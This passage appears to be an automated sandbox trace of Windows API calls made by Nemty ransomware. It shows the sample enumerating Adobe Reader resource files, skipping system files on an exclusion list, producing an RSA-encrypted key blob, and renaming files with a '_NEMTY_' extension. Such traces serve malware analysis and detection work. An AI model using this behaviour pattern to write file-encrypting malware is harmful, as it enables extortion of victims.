lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0195.229] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.229] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0195.229] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.229] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0195.238] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.238] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0195.238] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.239] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0195.248] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.248] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0195.248] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.248] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0195.257] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.257] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0195.257] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.257] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0195.267] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.267] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0195.267] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.267] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0195.272] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.273] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0195.273] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.273] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0195.285] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.285] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0195.285] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.285] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6349050, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0195.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0195.286] CloseHandle (hObject=0xffffffff) returned 0 [0195.286] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0195.286] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0195.286] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0195.286] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0195.286] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0195.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0195.286] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0195.286] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0195.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0195.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0195.286] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\83pv-RKSJ-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\83pv-rksj-h"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\83pv-RKSJ-H._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\83pv-rksj-h._nemty_kgobjgd_")) returned 0 [0195.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0195.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0195.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0195.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0195.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0195.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0195.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0195.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0195.286] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x18fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="90ms-RKSJ-H", cAlternateFileName="90MS-R~1")) returned 1 [0195.286] lstrcmpiW (lpString1="90ms-RKSJ-H", lpString2=".") returned 1 [0195.286] lstrcmpiW (lpString1="90ms-RKSJ-H", lpString2="..") returned 1 [0195.286] lstrcmpiW (lpString1="90ms-RKSJ-H", lpString2="...") returned 1 [0195.286] lstrcmpiW (lpString1="90ms-RKSJ-H", lpString2="windows") returned -1 [0195.286] lstrcmpiW (lpString1="90ms-RKSJ-H", lpString2="$RECYCLE.BIN") returned 1 [0195.286] lstrcmpiW (lpString1="90ms-RKSJ-H", lpString2="rsa") returned -1 [0195.286] lstrcmpiW (lpString1="90ms-RKSJ-H", lpString2="NTDETECT.COM") returned -1 [0195.287] lstrcmpiW (lpString1="90ms-RKSJ-H", lpString2="ntldr") returned -1 [0195.287] lstrcmpiW (lpString1="90ms-RKSJ-H", lpString2="MSDOS.SYS") returned -1 [0195.287] lstrcmpiW (lpString1="90ms-RKSJ-H", lpString2="IO.SYS") returned -1 [0195.287] lstrcmpiW (lpString1="90ms-RKSJ-H", lpString2="boot.ini") returned -1 [0195.287] lstrcmpiW (lpString1="90ms-RKSJ-H", lpString2="boot.ini") returned -1 [0195.287] lstrcmpiW (lpString1="90ms-RKSJ-H", lpString2="AUTOEXEC.BAT") returned -1 [0195.287] lstrcmpiW (lpString1="90ms-RKSJ-H", lpString2="ntuser.dat") returned -1 [0195.287] lstrcmpiW (lpString1="90ms-RKSJ-H", lpString2="desktop.ini") returned -1 [0195.287] lstrcmpiW (lpString1="90ms-RKSJ-H", lpString2="CONFIG.SYS") returned -1 [0195.287] lstrcmpiW (lpString1="90ms-RKSJ-H", lpString2="RECYCLER") returned -1 [0195.287] lstrcmpiW (lpString1="90ms-RKSJ-H", lpString2="BOOTSECT.BAK") returned -1 [0195.287] lstrcmpiW (lpString1="90ms-RKSJ-H", lpString2="bootmgr") returned -1 [0195.287] lstrcmpiW (lpString1="90ms-RKSJ-H", lpString2="programdata") returned -1 [0195.287] lstrcmpiW (lpString1="90ms-RKSJ-H", lpString2="appdata") returned -1 [0195.287] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0195.287] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="90ms-RKSJ-H", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0195.287] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="90ms-RKSJ-H", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="90ms-RKSJ-H", lpUsedDefaultChar=0x0) returned 11 [0195.287] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0195.287] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="90ms-RKSJ-H", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0195.287] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="90ms-RKSJ-H", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="90ms-RKSJ-H", lpUsedDefaultChar=0x0) returned 11 [0195.287] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0195.287] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0195.287] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0195.287] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="90ms-RKSJ-H", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0195.287] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="90ms-RKSJ-H", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="90ms-RKSJ-H", lpUsedDefaultChar=0x0) returned 11 [0195.287] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0195.287] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0195.287] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="90ms-RKSJ-H", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0195.287] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="90ms-RKSJ-H", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="90ms-RKSJ-H", lpUsedDefaultChar=0x0) returned 11 [0195.287] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0195.287] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0195.287] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0195.287] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0195.287] Sleep (dwMilliseconds=0x5) [0195.294] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x280d2250, dwHighDateTime=0x1d561e8)) [0195.294] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x280d2250, dwHighDateTime=0x1d561e8)) [0195.294] GetLastError () returned 0x5 [0195.294] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0195.294] GetLastError () returned 0x5 [0195.294] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0195.294] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0195.294] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0195.294] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0195.295] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0195.295] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0195.295] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0195.295] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e91c | out: pszString="ABeI+C1DW7mpCpr4enZJio2pEPjWish8JEM6KCh2LLKKmJO5Sq8W3mw4TYeaHzUo\r\nePGyWYQPgTbu4qhCMnxy6+lvPnT64Yhjzrg35hRThwVJri+0vIC/vpWYKDkrauBr\r\nAH7kdYEt9qNV3x+O+sNbhbe1nsnc1DndI1c6XYP8v6Sj9TYww1+q8vwvAlc2hw+t\r\nN69+ZIZ5uBqtNSPRmXVMIFWmQ3+qVswYxJMf+lVbg8jDzRn1Of5/JpjVLWsr7Oze\r\nYFC6tGjyeJWStOputmHPK6W5TJf4UkR49j9CQXaNUB0ydMtcmvyiCBOQpepixuJn\r\nvkz2zAxEOoFC8cr4eb6HKA==\r\n", pcchString=0x653e91c) returned 1 [0195.295] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0195.295] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0195.295] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0195.295] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0195.295] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0195.295] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0195.295] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90ms-RKSJ-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\90ms-rksj-h"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0195.295] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0195.295] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0195.295] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.295] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0195.305] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.305] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0195.305] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.305] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0195.314] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.314] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0195.314] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.314] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0195.323] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.323] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0195.323] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.323] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0195.333] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.333] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0195.333] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.333] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0195.342] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.342] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0195.342] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.342] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0195.351] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.351] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0195.351] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.351] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0195.360] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.361] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0195.361] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.361] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0195.370] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.370] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0195.370] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.370] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0195.379] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.379] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0195.379] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.379] ReadFile (in: hFile=0xffffffff, 